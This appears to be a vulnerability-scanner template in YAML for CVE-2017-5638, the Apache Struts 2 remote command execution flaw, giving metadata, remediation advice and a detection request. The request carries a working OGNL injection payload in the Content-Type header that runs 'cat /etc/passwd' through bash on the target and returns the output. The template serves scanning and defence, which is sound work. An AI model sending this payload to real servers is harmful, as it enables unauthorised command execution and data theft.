51 lines
2.3 KiB
YAML
51 lines
2.3 KiB
YAML
id: CVE-2017-5638
|
|
|
|
info:
|
|
name: Apache Struts 2 - Remote Command Execution
|
|
author: Random_Robbie
|
|
severity: critical
|
|
description: |
|
|
Apache Struts 2.3.x before 2.3.32 and 2.5.x before 2.5.10.1 is susceptible to remote command injection attacks. The Jakarta Multipart parser has incorrect exception handling and error-message generation during file upload attempts, which can allow an attacker to execute arbitrary commands via a crafted Content-Type, Content-Disposition, or Content-Length HTTP header. This was exploited in March 2017 with a Content-Type header containing a #cmd= string.
|
|
remediation: |
|
|
Upgrade to Apache Struts 2.3.32 or 2.5.10.1 or apply the necessary patches.
|
|
reference:
|
|
- https://github.com/mazen160/struts-pwn
|
|
- https://isc.sans.edu/diary/22169
|
|
- https://github.com/rapid7/metasploit-framework/issues/8064
|
|
- https://nvd.nist.gov/vuln/detail/CVE-2017-5638
|
|
- http://blog.talosintelligence.com/2017/03/apache-0-day-exploited.html
|
|
classification:
|
|
cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
|
|
cvss-score: 10
|
|
cve-id: CVE-2017-5638
|
|
cwe-id: CWE-20
|
|
epss-score: 0.97554
|
|
epss-percentile: 0.99994
|
|
cpe: cpe:2.3:a:apache:struts:2.3.5:*:*:*:*:*:*:*
|
|
metadata:
|
|
verified: true
|
|
max-request: 1
|
|
vendor: apache
|
|
product: struts
|
|
shodan-query: html:"Apache Struts"
|
|
tags: cve,cve2017,apache,kev,msf,struts,rce
|
|
|
|
http:
|
|
- raw:
|
|
- |
|
|
GET / HTTP/1.1
|
|
Host: {{Hostname}}
|
|
Content-Type: %{(#test='multipart/form-data').(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS,#cmd="cat /etc/passwd",#cmds={"/bin/bash","-c",#cmd},#p=new java.lang.ProcessBuilder(#cmds),#p.redirectErrorStream(true),#process=#p.start(),#b=#process.getInputStream(),#c=new java.io.InputStreamReader(#b),#d=new java.io.BufferedReader(#c),#e=new char[50000],#d.read(#e),#rw=@org.apache.struts2.ServletActionContext@getResponse().getWriter(),#rw.println(#e),#rw.flush())}
|
|
|
|
matchers-condition: and
|
|
matchers:
|
|
- type: regex
|
|
regex:
|
|
- "root:.*:0:0:"
|
|
|
|
- type: status
|
|
status:
|
|
- 200
|
|
|
|
# digest: 4a0a00473045022100bcb66416c0188ab58cf239eb531f919c6bd33db745d31bb47bb3ed9b3a643fa102207e38cb497579fe44a3c0b67f3be0f305d4d34c8cc7c7a163680c3c1a52434a27:922c64590222798bb761d5b6d8e72950
|